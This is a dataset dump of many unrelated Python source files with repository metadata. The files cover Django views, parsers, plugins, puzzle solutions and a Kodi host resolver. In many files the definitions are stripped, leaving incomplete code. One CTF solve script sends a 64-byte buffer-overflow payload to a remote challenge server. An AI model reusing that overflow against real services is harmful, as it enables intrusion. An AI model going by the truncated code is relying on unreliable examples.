176c751a40ba19e4a05a51527d9a92d2dae692b0 | 257 | py | Python | lwc/views.py | codingforentrepreneurs/launch-with-code | 45b20b799819d7ab3ea528ae63a2cf2773fc6e13 | [
"MIT"
] | 64 | 2015-01-04T20:01:08.000Z | 2021-09-08T16:40:48.000Z | lwc/views.py | codingforentrepreneurs/launch-with-code | 45b20b799819d7ab3ea528ae63a2cf2773fc6e13 | [
"MIT"
] | 1 | 2016-01-05T16:52:10.000Z | 2016-01-05T17:02:24.000Z | lwc/views.py | codingforentrepreneurs/launch-with-code | 45b20b799819d7ab3ea528ae63a2cf2773fc6e13 | [
"MIT"
] | 85 | 2015-01-03T20:28:17.000Z | 2022-03-02T20:25:44.000Z | from django.shortcuts import render
# def home2(request):
# context = {}
# template = "home2.html"
# return render(request, template, context) | 19.769231 | 44 | 0.712062 |
176e828942630efe19aab2c07e4f3e5b13f23ffc | 902 | py | Python | Data/Packages/LiveReload/CommandAPI.py | RodrigoTomeES/sublime-text-settings | 0bc98ba2960e81096103f398f01b5778dec3e7d6 | [
"MIT"
] | 4 | 2018-06-08T23:18:47.000Z | 2020-02-24T06:14:06.000Z | Data/Packages/LiveReload/CommandAPI.py | Jesse121/SublimeText3 | 521681d376a66d1e908f143bd56817106f5c891f | [
"MIT"
] | 3 | 2021-05-10T18:59:14.000Z | 2021-09-02T01:50:15.000Z | Data/Packages/LiveReload/CommandAPI.py | RodrigoTomeES/sublime-text-settings | 0bc98ba2960e81096103f398f01b5778dec3e7d6 | [
"MIT"
] | 2 | 2019-04-10T01:02:42.000Z | 2021-02-05T08:41:38.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
import sublime
import sublime_plugin
import LiveReload
import webbrowser
import os
| 25.771429 | 89 | 0.68071 |
1773ff2743b5d0494a22423b429c8369b525eed9 | 12,506 | py | Python | python/lib/xjson/parser.py | hidaruma/caty | f71d2ab0a001ea4f7a96a6e02211187ebbf54773 | [
"MIT"
] | null | null | null | python/lib/xjson/parser.py | hidaruma/caty | f71d2ab0a001ea4f7a96a6e02211187ebbf54773 | [
"MIT"
] | null | null | null | python/lib/xjson/parser.py | hidaruma/caty | f71d2ab0a001ea4f7a96a6e02211187ebbf54773 | [
"MIT"
] | null | null | null | from xjson.xtypes import *
from topdown import *
from decimal import Decimal
import itertools
from itertools import dropwhile
import json
#@profile
string = string()
#@profile
multiline_string = multiline_string()
_B = set([u't', u'f', u'i'])
#@profile
boolean = boolean()
int_regex = [
Regex(r'-... | 29.635071 | 125 | 0.448505 |
177732ce9918321ab123cf0bd0bdbef8a0c64da2 | 625 | py | Python | sourcelyzer/dao/plugin.py | sourcelyzer/sourcelyzer | bbb5d9cce9d79986d905f7484989d97a78b1f5aa | [
"MIT"
] | 1 | 2017-07-25T21:06:09.000Z | 2017-07-25T21:06:09.000Z | sourcelyzer/dao/plugin.py | sourcelyzer/sourcelyzer | bbb5d9cce9d79986d905f7484989d97a78b1f5aa | [
"MIT"
] | null | null | null | sourcelyzer/dao/plugin.py | sourcelyzer/sourcelyzer | bbb5d9cce9d79986d905f7484989d97a78b1f5aa | [
"MIT"
] | null | null | null | from sourcelyzer.dao import Base
from sqlalchemy import Column, Integer, String, Boolean, DateTime, func
import datetime
| 31.25 | 71 | 0.7184 |
17795b54b05f3a065ec3a9f16fdc854609916451 | 6,975 | py | Python | multipledispatch/core.py | LowinData/multipledispatch | b95a5fc39435a70b114aacacde83750147081f94 | [
"BSD-3-Clause"
] | 1 | 2015-02-06T06:16:52.000Z | 2015-02-06T06:16:52.000Z | multipledispatch/core.py | LowinData/multipledispatch | b95a5fc39435a70b114aacacde83750147081f94 | [
"BSD-3-Clause"
] | null | null | null | multipledispatch/core.py | LowinData/multipledispatch | b95a5fc39435a70b114aacacde83750147081f94 | [
"BSD-3-Clause"
] | null | null | null | from contextlib import contextmanager
from warnings import warn
from .conflict import ordering, ambiguities, super_signature, AmbiguityWarning
import inspect
import sys
dispatchers = dict()
def dispatch(*types):
"""
Dispatch decorator with two modes of use:
@dispatch(int):
def f(x):
retur... | 26.420455 | 80 | 0.575771 |
177a0188e50e0189414604213651cb92ded9c62c | 698 | py | Python | src/day6.py | blu3r4y/AdventOfCode2019 | 51d9ddd351d7f9fcbd6e019a1c65ac7af5879aec | [
"MIT"
] | 1 | 2019-12-10T07:54:40.000Z | 2019-12-10T07:54:40.000Z | src/day6.py | blu3r4y/AdventOfCode2019 | 51d9ddd351d7f9fcbd6e019a1c65ac7af5879aec | [
"MIT"
] | null | null | null | src/day6.py | blu3r4y/AdventOfCode2019 | 51d9ddd351d7f9fcbd6e019a1c65ac7af5879aec | [
"MIT"
] | null | null | null | # Advent of Code 2019, Day 6
# (c) blu3r4y
import networkx as nx
from aocd.models import Puzzle
from funcy import print_calls
def load(data):
return nx.DiGraph([line.split(")") for line in data.split()])
if __name__ == "__main__":
puzzle = Puzzle(year=2019, day=6)
ans1 = part1(load(puzzle.input_dat... | 20.529412 | 75 | 0.681948 |
177b537ed787e45e828cf561bc9dc6ec12e373c5 | 10,137 | py | Python | core/frontend/views.py | LegolasVzla/django-google-maps | 62efd2f35f8ee9fcdd5c3b9d3b0aba934b1d6fb3 | [
"MIT"
] | 5 | 2020-06-15T10:11:33.000Z | 2022-01-05T19:03:52.000Z | backend/everpro/django-google-maps/core/frontend/views.py | Ascensiony/EverPro-Intelligence-APIs | 41de67418a7ed266547840948301225220ddd6c9 | [
"Apache-2.0"
] | 9 | 2020-02-12T00:54:30.000Z | 2021-09-22T17:55:59.000Z | backend/everpro/django-google-maps/core/frontend/views.py | Ascensiony/EverPro-Intelligence-APIs | 41de67418a7ed266547840948301225220ddd6c9 | [
"Apache-2.0"
] | 6 | 2020-06-18T09:14:35.000Z | 2021-10-16T10:00:13.000Z | from decimal import Decimal
import json
import logging
from django.shortcuts import render
from django.core.serializers.json import DjangoJSONEncoder
from django.http import (HttpResponse)
from django.views.generic import View
from rest_framework import status
from rest_framework.views import APIView
from api.models i... | 42.414226 | 133 | 0.558647 |
177c3992f4db7ee7705443dc9f22eab9249c2930 | 5,607 | py | Python | deps/lib/python3.5/site-packages/openzwave/group.py | jfarmer08/hassio | 792a6071a97bb33857c14c9937946233c620035c | [
"MIT"
] | null | null | null | deps/lib/python3.5/site-packages/openzwave/group.py | jfarmer08/hassio | 792a6071a97bb33857c14c9937946233c620035c | [
"MIT"
] | null | null | null | deps/lib/python3.5/site-packages/openzwave/group.py | jfarmer08/hassio | 792a6071a97bb33857c14c9937946233c620035c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
.. module:: openzwave.group
This file is part of **python-openzwave** project https://github.com/OpenZWave/python-openzwave.
:platform: Unix, Windows, MacOS X
:sinopsis: openzwave API
.. moduleauthor: bibi21000 aka Sbastien GALLET <bibi21000@gmail.com>
License : GPL(v3)
**python-... | 31.5 | 123 | 0.659176 |
177cb81205a8ea2383beab85a085a6f3adc81c37 | 2,440 | py | Python | plugin.video.vstream/resources/hosters/vidzi.py | akuala/REPO.KUALA | ea9a157025530d2ce8fa0d88431c46c5352e89d4 | [
"Apache-2.0"
] | 2 | 2018-11-02T19:55:30.000Z | 2020-08-14T02:22:20.000Z | plugin.video.vstream/resources/hosters/vidzi.py | akuala/REPO.KUALA | ea9a157025530d2ce8fa0d88431c46c5352e89d4 | [
"Apache-2.0"
] | null | null | null | plugin.video.vstream/resources/hosters/vidzi.py | akuala/REPO.KUALA | ea9a157025530d2ce8fa0d88431c46c5352e89d4 | [
"Apache-2.0"
] | 3 | 2019-12-17T20:47:00.000Z | 2021-02-11T19:03:59.000Z | #-*- coding: utf-8 -*-
#https://vidzi.tv/xxx.html
#Vstream https://github.com/Kodi-vStream/venom-xbmc-addons
from resources.lib.handler.requestHandler import cRequestHandler
from resources.lib.parser import cParser
from resources.hosters.hoster import iHoster
from resources.lib.packer import cPacker
import re
| 30.886076 | 101 | 0.60041 |
177cf6581e4bb33c35d6e92bf67858578612256d | 99 | py | Python | histoprep/preprocess/__init__.py | jopo666/HistoPrep | 1b74c346b38c7ca44f92269246571f5f850836af | [
"MIT"
] | 11 | 2021-04-21T10:37:22.000Z | 2021-12-19T22:32:59.000Z | histoprep/preprocess/__init__.py | jopo666/HistoPrep | 1b74c346b38c7ca44f92269246571f5f850836af | [
"MIT"
] | 1 | 2021-02-24T09:15:13.000Z | 2021-04-19T06:38:58.000Z | histoprep/preprocess/__init__.py | jopo666/HistoPrep | 1b74c346b38c7ca44f92269246571f5f850836af | [
"MIT"
] | 1 | 2021-09-16T05:00:21.000Z | 2021-09-16T05:00:21.000Z | from ._metadata import *
from ._visualise import *
from ._writer import *
from . import functional
| 19.8 | 25 | 0.767677 |
177d0379cafbef9d8b625925534ca83f1c91fb3f | 6,705 | py | Python | fuse/losses/segmentation/loss_dice.py | LaudateCorpus1/fuse-med-ml | 56821be0824b599dfbbd7a4b158436cb2c300812 | [
"Apache-2.0"
] | 57 | 2021-06-23T12:16:08.000Z | 2022-03-29T15:51:25.000Z | fuse/losses/segmentation/loss_dice.py | LaudateCorpus1/fuse-med-ml | 56821be0824b599dfbbd7a4b158436cb2c300812 | [
"Apache-2.0"
] | 3 | 2021-11-04T07:56:13.000Z | 2022-03-15T08:33:13.000Z | fuse/losses/segmentation/loss_dice.py | LaudateCorpus1/fuse-med-ml | 56821be0824b599dfbbd7a4b158436cb2c300812 | [
"Apache-2.0"
] | 19 | 2021-07-19T13:29:22.000Z | 2022-03-23T07:48:13.000Z | """
(C) Copyright 2021 IBM Corp.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
d... | 41.134969 | 145 | 0.609694 |
177d267d47667c37667f7020097908f28682dfb3 | 1,563 | py | Python | ui/ui.py | cr33dog/pyxfce | ce3fa5e8c556e14a8127d67192484fe2f59b5595 | [
"BSD-3-Clause"
] | 4 | 2017-08-23T06:32:19.000Z | 2019-11-05T09:59:24.000Z | ui/ui.py | cr33dog/pyxfce | ce3fa5e8c556e14a8127d67192484fe2f59b5595 | [
"BSD-3-Clause"
] | null | null | null | ui/ui.py | cr33dog/pyxfce | ce3fa5e8c556e14a8127d67192484fe2f59b5595 | [
"BSD-3-Clause"
] | 2 | 2017-09-03T17:32:12.000Z | 2021-02-27T20:12:34.000Z | #!/usr/bin/env python
from _ui import *
SPAWN_LEAVE_DESCRIPTORS_OPEN = 1 << 0
SPAWN_DO_NOT_REAP_CHILD = 1 << 1
SPAWN_SEARCH_PATH = 1 << 2
SPAWN_STDOUT_TO_DEV_NULL = 1 << 3
SPAWN_STDERR_TO_DEV_NULL = 1 << 4
SPAWN_CHILD_INHERITS_STDIN = 1 << 5
SPAWN_FILE_AND_ARGV_ZERO = 1 << 6
| 38.121951 | 178 | 0.757518 |
17810a68195c11407fea34406db7efe9f7b893b1 | 6,084 | py | Python | doc/pulse-paper/dj_algorithm.py | BoxiLi/qutip-qip | 04962ded1f6f21620f06f52869b61c4f392e9dea | [
"BSD-3-Clause"
] | 2 | 2021-05-30T12:18:54.000Z | 2021-05-30T17:12:05.000Z | dj_algorithm.py | BoxiLi/qutip-qip-paper | 89012535493dc5553111733bd466114e113db3e9 | [
"BSD-3-Clause"
] | 3 | 2021-11-17T16:40:36.000Z | 2022-01-06T02:21:31.000Z | doc/pulse-paper/dj_algorithm.py | BoxiLi/qutip-qip | 04962ded1f6f21620f06f52869b61c4f392e9dea | [
"BSD-3-Clause"
] | null | null | null | TEXTWIDTH = 5.93
LINEWIDTH = 3.22
import matplotlib as mpl
import matplotlib.pyplot as plt
try:
from quantum_plots import global_setup
global_setup(fontsize = 10)
except:
pass
plt.rcParams.update({"text.usetex": False, "font.size": 10})
num_qubits = 3
import numpy as np
import matplotlib.p... | 37.78882 | 152 | 0.687048 |
17821a47a9574e329f071708831b76730a50d810 | 462 | py | Python | scripts/populate.py | mentix02/3do | fc505a012e273af82f1503d62b2c293f6559f1a2 | [
"MIT"
] | null | null | null | scripts/populate.py | mentix02/3do | fc505a012e273af82f1503d62b2c293f6559f1a2 | [
"MIT"
] | null | null | null | scripts/populate.py | mentix02/3do | fc505a012e273af82f1503d62b2c293f6559f1a2 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import sys
import json
import requests
URL = 'http://localhost:{}/api/tasks'
if __name__ == '__main__':
main(sys.argv)
| 14.4375 | 52 | 0.62987 |
17844c9f317b40ddfad8abcbbb3c641bf3b465fa | 91 | py | Python | tests/test_scm_pipeline.py | Forks-yugander-krishan-singh/jenkins-job-builder-pipeline | c8aac16b97eb89882e0a5a7250ad8ed33ca7ddd8 | [
"Apache-2.0"
] | null | null | null | tests/test_scm_pipeline.py | Forks-yugander-krishan-singh/jenkins-job-builder-pipeline | c8aac16b97eb89882e0a5a7250ad8ed33ca7ddd8 | [
"Apache-2.0"
] | null | null | null | tests/test_scm_pipeline.py | Forks-yugander-krishan-singh/jenkins-job-builder-pipeline | c8aac16b97eb89882e0a5a7250ad8ed33ca7ddd8 | [
"Apache-2.0"
] | null | null | null | from base import assert_case
| 15.166667 | 31 | 0.78022 |
1784c94ba160e5d33766e6db1a8a368ebed6fd33 | 6,365 | py | Python | tape/task_models/RandomSequenceMask.py | nickbhat/tape-1 | 96778d1a3bb35acf966c6b32b4df1d738fa19ffd | [
"MIT"
] | 42 | 2019-12-09T12:44:45.000Z | 2022-03-13T19:46:41.000Z | tape/task_models/RandomSequenceMask.py | nickbhat/tape-1 | 96778d1a3bb35acf966c6b32b4df1d738fa19ffd | [
"MIT"
] | 11 | 2019-12-16T08:59:56.000Z | 2022-01-26T21:13:25.000Z | tape/task_models/RandomSequenceMask.py | nickbhat/tape-1 | 96778d1a3bb35acf966c6b32b4df1d738fa19ffd | [
"MIT"
] | 7 | 2019-12-16T09:58:42.000Z | 2020-12-04T06:58:19.000Z | from typing import Optional
import tensorflow as tf
import tensorflow.keras.backend as K
from tensorflow.keras import Model
from tensorflow.keras.layers import Layer
import numpy as np
import rinokeras as rk
from rinokeras.layers import WeightNormDense as Dense
from rinokeras.layers import LayerNorm, Stack
| 36.164773 | 119 | 0.629379 |
1786f6a8b6ca45725876cbc3073eda217dc1608e | 941 | py | Python | second_order/rk4_analysis.py | isoleph/ARK | 63e597dcb5bdec97158c08070f9a597974a82aaf | [
"MIT"
] | null | null | null | second_order/rk4_analysis.py | isoleph/ARK | 63e597dcb5bdec97158c08070f9a597974a82aaf | [
"MIT"
] | null | null | null | second_order/rk4_analysis.py | isoleph/ARK | 63e597dcb5bdec97158c08070f9a597974a82aaf | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# script to plot and compare second order RK4 results
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
# purely cosmetic
import seaborn as sns
sns.set();
main();
| 20.911111 | 88 | 0.585547 |
17871ee3057c619c366c976b876ad96d5d051de6 | 156 | py | Python | QAStrategy/__init__.py | vx-qa/QAStrategy | 6f8bcf94d31d2e0a6d7cf339067322366e44e6fc | [
"MIT"
] | null | null | null | QAStrategy/__init__.py | vx-qa/QAStrategy | 6f8bcf94d31d2e0a6d7cf339067322366e44e6fc | [
"MIT"
] | null | null | null | QAStrategy/__init__.py | vx-qa/QAStrategy | 6f8bcf94d31d2e0a6d7cf339067322366e44e6fc | [
"MIT"
] | null | null | null | __version__ = '0.0.22'
__author__ = 'yutiansut'
from QAStrategy.util import QA_data_futuremin_resample
from QAStrategy.qactabase import QAStrategyCTABase
| 22.285714 | 54 | 0.833333 |
17879b9a11d3f5ea42a3a01e5bdf46c5dc86eeed | 1,867 | py | Python | Practice/member/views.py | yongbj96/Practice-Django | 066f04d018ca2f23c9f9d472fc78224cbe1a7a5a | [
"MIT"
] | null | null | null | Practice/member/views.py | yongbj96/Practice-Django | 066f04d018ca2f23c9f9d472fc78224cbe1a7a5a | [
"MIT"
] | null | null | null | Practice/member/views.py | yongbj96/Practice-Django | 066f04d018ca2f23c9f9d472fc78224cbe1a7a5a | [
"MIT"
] | null | null | null | from django.shortcuts import render, redirect
from django.http import HttpResponse
from .models import BoardMember
# Post
from django.core import serializers
from rest_framework.decorators import api_view, permission_classes, authentication_classes
from rest_framework.permissions import IsAuthenticated #
from rest_... | 42.431818 | 216 | 0.670595 |
1787eece1e38a279f7822878ac42328bdcc6d5d8 | 4,088 | py | Python | checkdt/core/connection.py | openskullbox/checkdt | d164de355a901a7af589a14535a3389c9ec3192a | [
"BSD-2-Clause"
] | null | null | null | checkdt/core/connection.py | openskullbox/checkdt | d164de355a901a7af589a14535a3389c9ec3192a | [
"BSD-2-Clause"
] | null | null | null | checkdt/core/connection.py | openskullbox/checkdt | d164de355a901a7af589a14535a3389c9ec3192a | [
"BSD-2-Clause"
] | null | null | null | from cryptography.fernet import Fernet
import sqlalchemy
from sqlalchemy import Column, Integer, String
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.ext.declarative import declarative_base
from checkdt.config.config import CORE__ENCRYPTION_KEY
from checkdt.core.session_maker import session_init
Ba... | 32.444444 | 85 | 0.621575 |
1788df75b61c143fea638d59992dd9670ed12b53 | 12,358 | py | Python | syzygy/scripts/benchmark/ibmperf_test.py | nzeh/syzygy | 3573e3d458dbb4285753c28a7cb42ced739f9f55 | [
"Apache-2.0"
] | 343 | 2015-01-07T05:58:44.000Z | 2022-03-15T14:55:21.000Z | syzygy/scripts/benchmark/ibmperf_test.py | nzeh/syzygy-nzeh | 3757e53f850644721284073de318e218224dd411 | [
"Apache-2.0"
] | 61 | 2015-03-19T18:20:21.000Z | 2019-10-23T12:58:23.000Z | syzygy/scripts/benchmark/ibmperf_test.py | nzeh/syzygy-nzeh | 3757e53f850644721284073de318e218224dd411 | [
"Apache-2.0"
] | 66 | 2015-01-20T15:35:05.000Z | 2021-11-25T16:49:41.000Z | #!/usr/bin/python2.6
# Copyright 2011 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 33.4 | 79 | 0.684739 |
1789f53a61b9002c124fe478626838e81c165c9d | 374 | py | Python | scripts/hello.py | so-os-troxa/python-lib-example | 909465a644f7d72d945031abfd4142bc00d56b3d | [
"MIT"
] | null | null | null | scripts/hello.py | so-os-troxa/python-lib-example | 909465a644f7d72d945031abfd4142bc00d56b3d | [
"MIT"
] | null | null | null | scripts/hello.py | so-os-troxa/python-lib-example | 909465a644f7d72d945031abfd4142bc00d56b3d | [
"MIT"
] | 1 | 2021-11-23T01:22:27.000Z | 2021-11-23T01:22:27.000Z | #!/usr/bin/env python3
from dev_aberto import hello
from babel.dates import format_datetime
from datetime import datetime
import gettext
gettext.install('hello', localedir='locale')
if __name__ == '__main__':
date, name = hello()
date = format_datetime(datetime.strptime(date, '%Y-%m-%dT%H:%M:%SZ'))
print(... | 31.166667 | 73 | 0.705882 |
178a9b2469750c1464215a93b96d315100d2b7c3 | 3,211 | py | Python | mot-tools/transfer/coco_transfer.py | Bruce-yi/Bruce-yi-DeepLearning-Tools | 14240e0ef11adb10bdd9fd549f47bdeadb193328 | [
"MIT"
] | null | null | null | mot-tools/transfer/coco_transfer.py | Bruce-yi/Bruce-yi-DeepLearning-Tools | 14240e0ef11adb10bdd9fd549f47bdeadb193328 | [
"MIT"
] | null | null | null | mot-tools/transfer/coco_transfer.py | Bruce-yi/Bruce-yi-DeepLearning-Tools | 14240e0ef11adb10bdd9fd549f47bdeadb193328 | [
"MIT"
] | null | null | null | # from __future__ import absolute_import
# from __future__ import division
# from __future__ import print_function
# import _init_paths
# from opts import opts
import os
import json
import cv2
import collections
prefix = '/home/yix/track_traindata/'
with open(prefix + 'coco2017/annotations/person_ke... | 31.480392 | 110 | 0.495173 |
178ae58115d236b1d1734e740c52f2f7786f82ba | 817 | py | Python | setup.py | lulukelu/aws-iam-permissions-guardrails | cae485e3d8589c85f55c50c442ce47916345e00d | [
"Apache-2.0"
] | 88 | 2020-04-02T02:56:27.000Z | 2022-03-18T13:22:02.000Z | setup.py | lulukelu/aws-iam-permissions-guardrails | cae485e3d8589c85f55c50c442ce47916345e00d | [
"Apache-2.0"
] | 45 | 2020-06-26T11:11:28.000Z | 2021-08-17T15:31:47.000Z | setup.py | lulukelu/aws-iam-permissions-guardrails | cae485e3d8589c85f55c50c442ce47916345e00d | [
"Apache-2.0"
] | 32 | 2020-04-02T02:56:28.000Z | 2021-12-20T18:53:04.000Z | import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="iam-permissions-guardrails", # Replace with your own username
version="0.0.3",
author="Josh Joy",
author_email="jjjoy@amazon.com",
description="IAM Permissions Guardrails module",
lon... | 35.521739 | 137 | 0.687882 |
178d05b1d8bb6f8c30ffa020c7ddd40a9b93f7a2 | 265 | py | Python | main.py | hiyoung123/ProxyPool | 79f3d96e52873637ad6bff89908c7b8218d878d5 | [
"MIT"
] | 2 | 2021-05-10T07:59:22.000Z | 2021-05-10T08:40:27.000Z | main.py | hiyoung123/ProxyPool | 79f3d96e52873637ad6bff89908c7b8218d878d5 | [
"MIT"
] | null | null | null | main.py | hiyoung123/ProxyPool | 79f3d96e52873637ad6bff89908c7b8218d878d5 | [
"MIT"
] | 1 | 2021-05-31T06:28:46.000Z | 2021-05-31T06:28:46.000Z | #!/usr/bin/env python
# -*- encoding: utf-8 -*-
import os
import sys
from scrapy.cmdline import execute
if __name__ == '__main__':
sys.path.append(os.path.abspath(__file__))
# execute(['scrapy', 'crawl', 'XiLa'])
execute(['scrapy', 'crawl', 'Kuai'])
| 20.384615 | 46 | 0.641509 |
178ea808161d8fc80586b339ecf0efbcffc61536 | 4,116 | py | Python | sleeplearning/lib/loaders/carofile.py | a1247418/MT18_LH_human-sleep-classification | c4a40571390aaa14b1cc8a458100e21252fe05d2 | [
"MIT"
] | null | null | null | sleeplearning/lib/loaders/carofile.py | a1247418/MT18_LH_human-sleep-classification | c4a40571390aaa14b1cc8a458100e21252fe05d2 | [
"MIT"
] | null | null | null | sleeplearning/lib/loaders/carofile.py | a1247418/MT18_LH_human-sleep-classification | c4a40571390aaa14b1cc8a458100e21252fe05d2 | [
"MIT"
] | null | null | null | import numpy as np
import scipy.io
from scipy import signal
from typing import Tuple
from sleeplearning.lib.loaders.baseloader import BaseLoader
| 44.73913 | 159 | 0.562682 |
179011422adb814b8c626d1fd95044656d4b1721 | 4,427 | py | Python | src/bos_consensus/blockchain/test_state_lifecycle.py | LuffyEMonkey/isaac-consensus-protocol | 806d967d56ef8862a477b2515c7854af289c10a0 | [
"Apache-2.0"
] | 1 | 2018-04-10T11:00:59.000Z | 2018-04-10T11:00:59.000Z | src/bos_consensus/blockchain/test_state_lifecycle.py | LuffyEMonkey/isaac-consensus-protocol | 806d967d56ef8862a477b2515c7854af289c10a0 | [
"Apache-2.0"
] | null | null | null | src/bos_consensus/blockchain/test_state_lifecycle.py | LuffyEMonkey/isaac-consensus-protocol | 806d967d56ef8862a477b2515c7854af289c10a0 | [
"Apache-2.0"
] | null | null | null | from ..common import Ballot, BallotVotingResult, Message
from ..consensus import get_fba_module
from ..consensus.fba.isaac import IsaacState
from .util import blockchain_factory
IsaacConsensus = get_fba_module('isaac').IsaacConsensus
| 37.837607 | 106 | 0.728258 |
179138d3c27fe05d8d5cf8f6441ea698ed182489 | 42 | py | Python | demos/python_demos/common/pipelines/__init__.py | ivanvikhrev/open_model_zoo | 322e7ac5ed8a17611b56c46e5e56bfef05d8cc2a | [
"Apache-2.0"
] | 4 | 2019-09-17T13:11:02.000Z | 2021-02-22T15:39:15.000Z | demos/python_demos/common/pipelines/__init__.py | ivanvikhrev/open_model_zoo | 322e7ac5ed8a17611b56c46e5e56bfef05d8cc2a | [
"Apache-2.0"
] | null | null | null | demos/python_demos/common/pipelines/__init__.py | ivanvikhrev/open_model_zoo | 322e7ac5ed8a17611b56c46e5e56bfef05d8cc2a | [
"Apache-2.0"
] | 1 | 2021-02-24T00:40:03.000Z | 2021-02-24T00:40:03.000Z | from .async_pipeline import AsyncPipeline
| 21 | 41 | 0.880952 |
1791f803aaf9ba4e9b6b635f3d89b3c67550614d | 563 | py | Python | craid/bgsBuddy/test/test_globals.py | HausReport/ClubRaiders | 88bd64d2512302ca2b391b48979b6e88b092eb92 | [
"BSD-3-Clause"
] | null | null | null | craid/bgsBuddy/test/test_globals.py | HausReport/ClubRaiders | 88bd64d2512302ca2b391b48979b6e88b092eb92 | [
"BSD-3-Clause"
] | 2 | 2020-05-28T13:30:08.000Z | 2020-06-02T14:12:04.000Z | craid/bgsBuddy/test/test_globals.py | HausReport/ClubRaiders | 88bd64d2512302ca2b391b48979b6e88b092eb92 | [
"BSD-3-Clause"
] | null | null | null | from unittest import TestCase
import json
#from craid.bgsBuddy import GlobalDictionaries
#import GlobalDictionaries
| 21.653846 | 69 | 0.651865 |
17923cc669b3d6e37a0820fad8af5f2adffae4ca | 61 | py | Python | dataent/config/tools.py | dataent/dataent | c41bd5942ffe5513f4d921c4c0595c84bbc422b4 | [
"MIT"
] | null | null | null | dataent/config/tools.py | dataent/dataent | c41bd5942ffe5513f4d921c4c0595c84bbc422b4 | [
"MIT"
] | 6 | 2020-03-24T17:15:56.000Z | 2022-02-10T18:41:31.000Z | dataent/config/tools.py | dataent/dataent | c41bd5942ffe5513f4d921c4c0595c84bbc422b4 | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from dataent import _ | 30.5 | 39 | 0.885246 |
17939e1faad6c0d51a61b89baadcb761af1c3a77 | 791 | py | Python | mistune_contrib/meta.py | lepture/mistune-contrib | 3180edfc6b4477ead5ef7754a57907ae94080c24 | [
"BSD-3-Clause"
] | 44 | 2015-03-06T11:36:16.000Z | 2022-01-29T05:30:17.000Z | mistune_contrib/meta.py | lepture/mistune-contrib | 3180edfc6b4477ead5ef7754a57907ae94080c24 | [
"BSD-3-Clause"
] | 16 | 2015-09-12T18:44:01.000Z | 2019-01-20T13:13:22.000Z | mistune_contrib/meta.py | lepture/mistune-contrib | 3180edfc6b4477ead5ef7754a57907ae94080c24 | [
"BSD-3-Clause"
] | 23 | 2015-04-27T15:28:34.000Z | 2020-06-17T11:16:05.000Z | # coding: utf-8
"""
mistune_contrib.meta
~~~~~~~~~~~~~~~~~~~~
Support Meta features for mistune. Metadata are keywords headers at the
top of the Markdown text:
Title: A Metadata DEMO
Author: Hsiaoming Yang
:copyright: (c) 2015 by Hsiaoming Yang.
"""
import re
INDENTATION = re... | 19.292683 | 77 | 0.561315 |
17956a9071f8e0062971cb220228e927388d1e11 | 2,328 | py | Python | rsLight_import.py | initialfx/Maya-to-Houdini | da65e92457e8e9ccd29e2274d05f8a2f1a25a4ea | [
"MIT"
] | 1 | 2021-11-17T07:27:13.000Z | 2021-11-17T07:27:13.000Z | rsLight_import.py | initialfx/Maya-to-Houdini | da65e92457e8e9ccd29e2274d05f8a2f1a25a4ea | [
"MIT"
] | null | null | null | rsLight_import.py | initialfx/Maya-to-Houdini | da65e92457e8e9ccd29e2274d05f8a2f1a25a4ea | [
"MIT"
] | null | null | null | import json
def filePath():
""" ask for file path"""
filepath = hou.ui.selectFile()
return filepath
temp_data = getData(filePath())
for i in range(len(temp_data)):
#print(dict[i])
data = temp_data[i]
# Create Root Null
sceneroot = hou.node('/obj')
globalnull = sceneroot.crea... | 41.571429 | 179 | 0.707474 |
17970990001264daefd654082840109d8e290fba | 223 | py | Python | 2021/CN/challenge_1/solve.py | yu1hpa/ctf-writeups | e71ed679b9977f30781e2effbcd46cb4887328a5 | [
"MIT"
] | null | null | null | 2021/CN/challenge_1/solve.py | yu1hpa/ctf-writeups | e71ed679b9977f30781e2effbcd46cb4887328a5 | [
"MIT"
] | null | null | null | 2021/CN/challenge_1/solve.py | yu1hpa/ctf-writeups | e71ed679b9977f30781e2effbcd46cb4887328a5 | [
"MIT"
] | null | null | null | from pwn import *
io = remote("13.37.111.222", "5000")
#io = process("./challenge_1")
payload = b""
payload += b"A"*64
io.sendlineafter("username:", payload)
io.interactive()
# FLAG: CN{finding_boundaries_is_never_easy}
| 18.583333 | 44 | 0.695067 |
1797880fbe41f8eca137cc2e5c15816b32bfb57d | 767 | py | Python | nuke_stubs/nuke/nuke_classes/PyCustom_Knob.py | sisoe24/Nuke-Python-Stubs | 79c53cf5cb7b38e15a34fd04f672b143d9d7dc85 | [
"MIT"
] | 1 | 2022-01-12T01:29:16.000Z | 2022-01-12T01:29:16.000Z | nuke_stubs/nuke/nuke_classes/PyCustom_Knob.py | sisoe24/Nuke-Python-Stubs | 79c53cf5cb7b38e15a34fd04f672b143d9d7dc85 | [
"MIT"
] | null | null | null | nuke_stubs/nuke/nuke_classes/PyCustom_Knob.py | sisoe24/Nuke-Python-Stubs | 79c53cf5cb7b38e15a34fd04f672b143d9d7dc85 | [
"MIT"
] | null | null | null | from numbers import Number
from typing import *
import nuke
from . import * | 23.242424 | 116 | 0.57236 |
1799078ec31e2e29927dd0e139ed081b49dd1ed1 | 4,661 | py | Python | get_together/views/orgs.py | vhfmag/GetTogether | 82a696261a92bf52873c9ff7c640fc2dbf5c357f | [
"BSD-2-Clause"
] | null | null | null | get_together/views/orgs.py | vhfmag/GetTogether | 82a696261a92bf52873c9ff7c640fc2dbf5c357f | [
"BSD-2-Clause"
] | null | null | null | get_together/views/orgs.py | vhfmag/GetTogether | 82a696261a92bf52873c9ff7c640fc2dbf5c357f | [
"BSD-2-Clause"
] | null | null | null | from django.utils.translation import ugettext_lazy as _
from django.contrib import messages
from django.contrib.auth import logout as logout_user
from django.contrib.auth.decorators import login_required
from django.contrib.sites.models import Site
from django.shortcuts import render, redirect, get_object_or_404
